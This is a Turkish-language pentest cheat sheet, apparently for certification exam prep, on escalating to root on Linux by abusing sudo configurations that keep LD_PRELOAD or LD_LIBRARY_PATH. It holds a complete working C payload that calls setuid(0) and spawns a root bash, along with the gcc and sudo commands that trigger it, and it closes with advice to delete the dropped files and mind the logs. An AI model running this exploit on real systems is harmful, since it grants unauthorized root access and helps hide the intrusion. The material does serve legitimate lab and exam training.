FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE orta

LD_PRELOAD & LD_LIBRARY_PATH Abuse via sudo env_keep / SETENV

Sudoers 'env_keep' ile LD_PRELOAD/LD_LIBRARY_PATH ortam degiskenlerini koruyorsa veya bir komutta SETENV etiketi varsa; saldirgan kotu niyetli bir .so kutuphanesi derleyip sudo ile bir komut calistirirken yukleterek root yetkisiyle kod calistirir.

Bilgi: ÖN KOŞULLAR
  • Dusuk yetkili shell (user)
  • sudo -l ciktisinda en az bir calistirilabilir komut
  • Defaults env_keep+=LD_PRELOAD veya env_keep+=LD_LIBRARY_PATH ya da komutta SETENV: etiketi
  • Hedefte gcc/derleyici veya onceden derlenmis .so transfer imkani
┌──

Komutlar

sudo ✓ EXAM-SAFE user
sudo -l
Sudo izinlerini ve Defaults satirlarini kontrol et — env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH veya SETENV: etiketi ldpreload abuse icin gereklidir. HackTricks — Linux Privilege Escalation (LD_PRELOAD)
gcc ✓ EXAM-SAFE user
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c
Kotu niyetli paylasimli kutuphaneyi derle; -fPIC -shared ile .so uretilir, -nostartfiles standart baslangic kodunu atlar. HackTricks — Linux Privilege Escalation (LD_PRELOAD)
sudo ✓ EXAM-SAFE user
sudo LD_PRELOAD=/tmp/preload.so apache2
env_keep+=LD_PRELOAD aktifse, izin verilen bir komutu (orn. apache2) sudo ile calistirirken sahte .so yuklenir ve _init/constructor root olarak tetiklenir. HackTricks — Linux Privilege Escalation (LD_PRELOAD)
gcc ✓ EXAM-SAFE user
gcc -o /tmp/libcustom.so -shared -fPIC /tmp/library_path.c
LD_LIBRARY_PATH senaryosu icin, hedef binary'nin yukledigi bir kutuphane adiyla (orn. libcustom.so) sahte paylasimli kutuphane derle. HackTricks — Linux Privilege Escalation (LD_LIBRARY_PATH)
sudo ✓ EXAM-SAFE user
sudo LD_LIBRARY_PATH=/tmp <command>
env_keep+=LD_LIBRARY_PATH aktifse, hedef binary'nin ihtiyac duydugu .so'yu /tmp icindeki sahte surumle golgele ve root olarak calistir. HackTricks — Linux Privilege Escalation (LD_LIBRARY_PATH)
ldd ✓ EXAM-SAFE user
ldd /usr/sbin/apache2
Hedef binary'nin baglandigi paylasimli kutuphaneleri listele — LD_LIBRARY_PATH ile golgelenecek dogru .so adini belirlemek icin. HackTricks — Linux Privilege Escalation (LD_LIBRARY_PATH)

Mantik

Dinamik linker (ld.so), bir program calistirilirken bazi ortam degiskenlerini dikkate alir:

  • LD_PRELOAD: belirtilen paylasimli kutuphaneyi, diger tum kutuphanelerden once yukler. Bu .so icindeki constructor (__attribute__((constructor)) veya _init) fonksiyonu, program kodu calismadan once calisir.
  • LD_LIBRARY_PATH: paylasimli kutuphanelerin arandigi dizin listesinin basina eklenir; boylece mesru bir .so ayni isimli sahte bir surumle golgeленebilir.

Normalde sudo, guvenlik icin bu “tehlikeli” ortam degiskenlerini temizler (env_reset). Ancak sudoers yapilandirmasi Defaults env_keep += "LD_PRELOAD" veya Defaults env_keep += "LD_LIBRARY_PATH" iceriyorsa, ya da belirli bir komuta SETENV: etiketi verilmisse, bu degiskenler korunur ve root olarak calisan komuta tasinir. Iste bu yanlis yapilandirma privilege escalation saglar.

Enumeration

  • sudo -l ciktisini dikkatlice oku. Iki sey arariz: (1) calistirma izni olan en az bir komut, (2) Defaults satirlarinda env_keep+=LD_PRELOAD veya env_keep+=LD_LIBRARY_PATH, veya bir komut satirinda SETENV:.
  • env_reset aktif ve env_keep yoksa LD_* degiskenleri sudo tarafindan silinir — bu durumda bu teknik calismaz.
  • LD_LIBRARY_PATH yolu icin hedef binary’nin hangi .so’lari yukledigini ldd ile cikar; golgelenecek kutuphane adini bu listeden secersin.

Exploitation — LD_PRELOAD

Payload C kaynaginda constructor kullanilir. Tipik icerik:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0); setuid(0);
    system("/bin/bash -p");
}

unsetenv("LD_PRELOAD"), olusan shell’in alt surecte sonsuz dongu / cakisma yapmasini onler. setuid(0)/setgid(0) gercek root’a yukselir. Derleme -fPIC -shared -nostartfiles ile yapilir (_init kullanildigi icin -nostartfiles gerekir; alternatif olarak __attribute__((constructor)) ile normal derleme de olur). Ardindan sudo LD_PRELOAD=/tmp/preload.so <izinli_komut> ile tetiklenir; komutun gercekte ne yaptigi onemsizdir, .so zaten program main’i calismadan once root shell acar.

Exploitation — LD_LIBRARY_PATH

Burada hedef binary’nin yukledigi mesru bir kutuphaneyi (orn. libcustom.so) ayni isimde sahte bir .so ile golgeleriz. Sahte kutuphane yine bir constructor ile root shell acar. ldd ciktisinda gorulen kutuphane adini birebir kullanmak gerekir; aksi halde linker mesru olani bulup sahte olani gormez. Tetikleme: sudo LD_LIBRARY_PATH=/tmp <command>.

Gotcha’lar

  • gcc hedefte yoksa, .so’yu kendi Kali makinende derleyip transfer et (scp/python http server). Mimari (x86_64 vs i386) ve libc uyumuna dikkat et.
  • LD_PRELOAD yalnizca setuid/setgid binary’lerde dogrudan calismaz (linker secure-execution modunda standart dizinlerdeki .so’lari yok sayar); bu yuzden burada sudo uzerinden ilerleriz — sudo komutu root olarak calistirir ve env_keep degiskeni tasidigi icin guvenli sayilir.
  • Constructor’da unsetenv("LD_PRELOAD") koymazsan, acilan bash da ayni LD_PRELOAD’i miras alip beklenmedik davranis gosterebilir.
  • Isi bitince /tmp icindeki .so dosyalarini sil (cleanup) ve gecmis/loglari goz onunde bulundur.
┌──

Kaynaklar

0/15 set